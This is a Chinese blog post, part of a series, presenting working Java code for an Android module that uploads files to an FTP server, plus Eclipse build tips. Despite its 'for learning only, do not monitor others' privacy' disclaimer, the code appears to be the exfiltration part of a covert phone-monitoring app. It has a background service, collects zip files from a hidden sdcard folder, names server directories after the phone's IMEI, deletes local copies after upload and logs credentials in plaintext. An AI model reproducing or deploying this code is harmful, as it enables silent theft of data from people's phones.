一个安卓小项目(3)——安卓FTP方式发送文件到服务器

(此项目只作为学习交流使用,切不可去监听他人隐私,否则后果自负)

继续上次。

安卓FTP协议发送文件到服务器

在这个项目中需要把文件发送到ftp服务器,这就需要在手机客户端中,以ftp的方式去连接。

通过FTP的方式来传输文件,可以确保文件在传输过程中不会因为文件太大,造成传输超时或数据上传不完整的情况。

这里推荐一个支持ftp的免费空间服务商 www.nanoyun.com

这里实现FTP的功能需要Apache所提供的Commons Net API。官方下载地址http://commons.apache.org/proper/commons-net/download_net.cgi 

我用的 是3.3版本

大致说一下这个模块的代码文件结构

一共3个java文件

一个ftphelper 类 该类提供了连接服务器,关闭连接,发送文件等方法

一个发送文件类,该类提供了网络连接判断,等

一个后台服务类,作为一个服务在后台一直运行,开启另外一个线程发送文件(之后讲)

话不多说,直接上代码吧


import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
import org.apache.commons.net.ftp.FTPClient;
import org.apache.commons.net.ftp.FTPReply;
import android.util.Log;
/**
 * FTP上传文件类
 * @author lookingfor
 *
 */
public class FtpHelper {
    /**
     * 服务器名.
     */
    private String hostName;

    /**
     * 用户名.
     */
    private String userName;

    /**
     * 密码.
     */
    private String password;

    /**
     * FTP连接.
     */
    private FTPClient ftpClient;
    
    /**
     * 新建文件夹名
     */
    private String dirName;
    
    /**
     * TAG
     */
    private String TAG = "MyListener";

    /**
     * 构造函数.
     * 
     * @param host hostName 服务器名
     * @param user userName 用户名
     * @param pass password 密码
     */
    public FtpHelper(String host, String user, String pass) {
        this.hostName = host;
        this.userName = user;
        this.password = pass;
        this.ftpClient = new FTPClient();
    }

    /**
     * 打开FTP服务.
     * 
     */
    public boolean openConnect() {
        boolean flag = true;
        // 编码格式为UTF-8
        ftpClient.setControlEncoding("UTF-8");
        int reply; // 服务器响应值
        try {
            // 连接至服务器
            ftpClient.setDefaultPort(21);//默认端口21
            ftpClient.setDefaultTimeout(30000);
            ftpClient.connect(hostName);
            // 获取响应值
            reply = ftpClient.getReplyCode();
            if (!FTPReply.isPositiveCompletion(reply)) {
                // 断开连接
                ftpClient.disconnect();
                Log.i(TAG, "connect failed " + reply);
                return flag = false;
            }
            // 登录到服务器
            ftpClient.login(userName, password);
            // 获取响应值
            reply = ftpClient.getReplyCode();
            if (!FTPReply.isPositiveCompletion(reply)) {
                // 断开连接
                ftpClient.disconnect();
                Log.i(TAG, "login failed " + reply);
                return flag = false;
            } else {

                // 使用被动模式设为默认
                ftpClient.enterLocalPassiveMode();
                // 以二进制文件发送
                ftpClient.setFileType(org.apache.commons.net.ftp.FTP.BINARY_FILE_TYPE);
                Log.i(TAG, "login");
                return flag;
            }
        } catch (Exception e) {
            // TODO: handle exception
            Log.i(TAG, "connect failed message: " + e);
            return flag = false;
        }
       
    }

    /**
     * 关闭FTP服务.
     * 
     */
    public void closeConnect()  {
        if (ftpClient != null) {
            try {
                ftpClient.logout();
                // 断开连接
                ftpClient.disconnect();
                Log.i(TAG, "logout");
            } catch (Exception e) {
                // TODO: handle exception
                Log.i(TAG, "logout failed message : " + e);
            }
        }
    }

    /**
     * 在FTP上创建文件夹
     * @param dirname
     * @return成功返回true;
     */
    public boolean createDirectory(String dirname) {
        boolean flag = true;
        this.dirName = dirname;
        try {
            ftpClient.makeDirectory(dirName);
            return flag;
        } catch (Exception e) {
            Log.i(TAG, "failed message : "+e);
            closeConnect();
            return flag = false;
        }
    }

    /**
     * 更改ftp工作目录
     * @param dirname
     * @return
     */
    public boolean changeDir(String dirname){
        this.dirName = dirname;
        try {
            ftpClient.changeWorkingDirectory(dirName);
            return true;
        } catch (Exception e) {
            // TODO: handle exception
            
            Log.i(TAG, "changedir failed message: " + e);
            closeConnect();
            return false;
        }
    }
    /**
     * 上传文件.
     * 
     * @param localFile 本地文件
     * @return true上传成功, false上传失败
     */
    public boolean uploadingSingle(File localFile) {
        boolean flag = true;
        try {
            // 创建输入流
            InputStream inputStream = new FileInputStream(localFile);
            // 上传单个文件
            flag = ftpClient.storeFile(localFile.getName(), inputStream);
            // 关闭文件流
            inputStream.close();
            Log.i(TAG, "upload success");
            return flag;
        } catch (Exception e) {
            // TODO: handle exception
            Log.i(TAG, "upload failed message: " + e);
            return flag = false;
        }

    }
}


注释很详细不必再解释

下面接着是

SendFiles.java



import java.io.File;
import java.util.ArrayList;

import com.android.snake.Config;
import com.android.snake.function.FileCompress;
import com.android.snake.function.Util;

import android.content.Context;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.util.Log;

/**
 * 发送文件模块类
 * @author lookingfor
 *
 */
public class SendFiles {

    /**
     * TAG
     */
    private static final String TAG = "MyLinster";
    /**
     * ftp 服务器地址
     */
    private String host;
    public  void setHost(String host) {
        this.host = host;
    }
    public  String getHost() {
        return host;
    }
    /**
     * 登录ftp用户名
     */
    private String username;
    public void setUsername(String username) {
        this.username = username;
    }
    public String getUsername() {
        return username;
    }
    /**
     * 登录ftp用户密码
     */
    private String psd;
    public  String getPsd() {
        return psd;
    }
    public  void setPsd(String psd) {
        this.psd = psd;
    }
    /**
     * ftp新建文件夹目录名
     */
    private String dirname;

    /**
     * 获取FTP对应文件名,没有则创建
     * @return
     */
    public String getDirname() {
        if (isNeedToCreateDir(FTPFILEDIRNAME_KEY)) {
            mConfig.setConfig(FTPFILEDIRNAME_KEY, mUtil.getPhoneIMEI());
        }
        dirname = mConfig.getConfig(FTPFILEDIRNAME_KEY);
        return dirname;
    }
    /**
     * 配置文件第一次启动标志key
     */
    private static final String ISFIRSTUSE_KEY = "ISFIRSTUSE";
    private static final String FTPFILEDIRNAME_KEY = "FTPFILEDIRNAME";
    /**
     * FtpHelper 对象
     */
    private FtpHelper mFtpHelper;
    
    private Context mContext;
    
    Config mConfig;
    
    Util mUtil;
    
    public SendFiles(Context context) {
        // TODO Auto-generated constructor stub
        mContext = context;
        mConfig = new Config(mContext);
        mUtil = new Util(mContext);
    }
    /**
     * 判断网络是否可用,包括wifi和卡数据
     * @param context
     * @return 可用为true
     */
    public boolean isNetworkAvailable() {
        if (mContext != null) {
            ConnectivityManager connectivity = (ConnectivityManager) mContext
                    .getSystemService(Context.CONNECTIVITY_SERVICE);
            if (connectivity != null) {
                NetworkInfo[] info = connectivity.getAllNetworkInfo();
                if (info != null)
                    for (int i = 0; i < info.length; i++)
                        if (info[i].getState() == NetworkInfo.State.CONNECTED) {
                            return true;
                        }
            }
            return false;
            //return true;
        }
        Log.i(TAG, "没有获取到context 网络不可用!");
        return false;
    }
    
    /**
     * 是否需要创建文件夹在ftp服务器
     * @param key
     * @return
     */
    private boolean isNeedToCreateDir(String key){
        if ("0".equals(mConfig.getConfig(key))) {
            return true;
        }else {
            return false;
        }
    }
    /**
     * 获取文件
     * @return
     */
    private ArrayList getFile(){
        
        ArrayList filelist = FileCompress.getFileList("sdcard/1101/","zip");
        if(filelist != null){
            Log.i(TAG, "获取要发送的文件列表成功");
            return filelist;
        }
        else {
            Log.i(TAG, "获取要发送的文件列表失败");
            return filelist;
        }
        //return FileCompress.getFileList("sdcard/1101/","zip").get(0);
    }
    /**
     * 对外提供方法,开始发送文件,发送完成后删除文件
     */
    public boolean startSendFiles(ArrayList filelist) {
        boolean flag = false;
        String dirnameString = getDirname();
        //连接登录ftp
        mFtpHelper = new FtpHelper(getHost(), getUsername(), getPsd());
        Log.i(TAG, "服务器ip:" + getHost() + "用户名:" + getUsername() + "密码: " + getPsd());
        if (!mFtpHelper.openConnect()) {
            return flag;
        }
        //是否第一次上传,如果是则创建目录并写配置文件
        if (isNeedToCreateDir(ISFIRSTUSE_KEY)) {
            if(mFtpHelper.createDirectory(dirnameString)){
                mConfig.setConfig(ISFIRSTUSE_KEY, "1");
            }else {
                return flag;
            }
        }
        
        //转换工作区目录
        if (!mFtpHelper.changeDir(dirnameString)) {
            return flag;
        }
        // 上传文件
        if (!filelist.isEmpty()) {
            int count = 0;
            for (File file : filelist) {
                count++;
                if (mFtpHelper.uploadingSingle(file)) {
                    Log.i(TAG, "已上传完成第" + count + "个文件");
                    if(file.delete()){
                        Log.i(TAG, "删除已上传完成的第" + count + "个文件成功");
                    }
                    flag = true;
                }else {
                    Log.i(TAG, "上传第" + count + "个文件失败,开始进行下一次上传如果队列中还有文件的话");
                    flag = false;
                }
            }
        }
        mFtpHelper.closeConnect();
        return flag;
    }
    
}

这上一段代码中,有判断是否第一次运行程序,这里实现 的方式下篇再讲。

不过对于ftp还要注意的是,在添加引用 和编译调试的时候也会遇到错误,下面就再讲一下,如何在eclipse里添加引用,并且成功否编译吧


添加引用:右键项目文件夹 --选择Build Path --选择 Add Librarlies

                    在弹出的对话框中 选择User Library 点击 Next ----点击User Libraries

                 在弹出的对话框中 选择 New...

                输入 名称(随便你输入)不要选择下面的System Library 点击ok

              然后 列表里就多了你新建的library 然后 选中 点击右边的 Add External JARs....

                选择 commons-net-3.3.jar 点击 ok

添加引用到 libs文件夹

              在项目中找到 libs文件夹,把 commons-net-3.3.jar直接拖进去,右键文件夹 选择Build Path --- Use as Source Folder

              这样编译的时候 就会把这个jar包 放到apk里


关于编译报错的解决


报错信息:

Unable to execute dex: Multiple dex files define Landroid/support/annotation/AnimRes;

Conversion to Dalvik format failed: Unable to execute dex: Multiple dex files define Landroid/support/annotation/AnimRes;

解决方法

右键项目文件夹 选择 Properties --选择左侧的 Java Build Path 在Libraries选项卡中 Remove 掉 Android Dependencies 和Android Private Libraries两项  然后再编译就好了。



發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章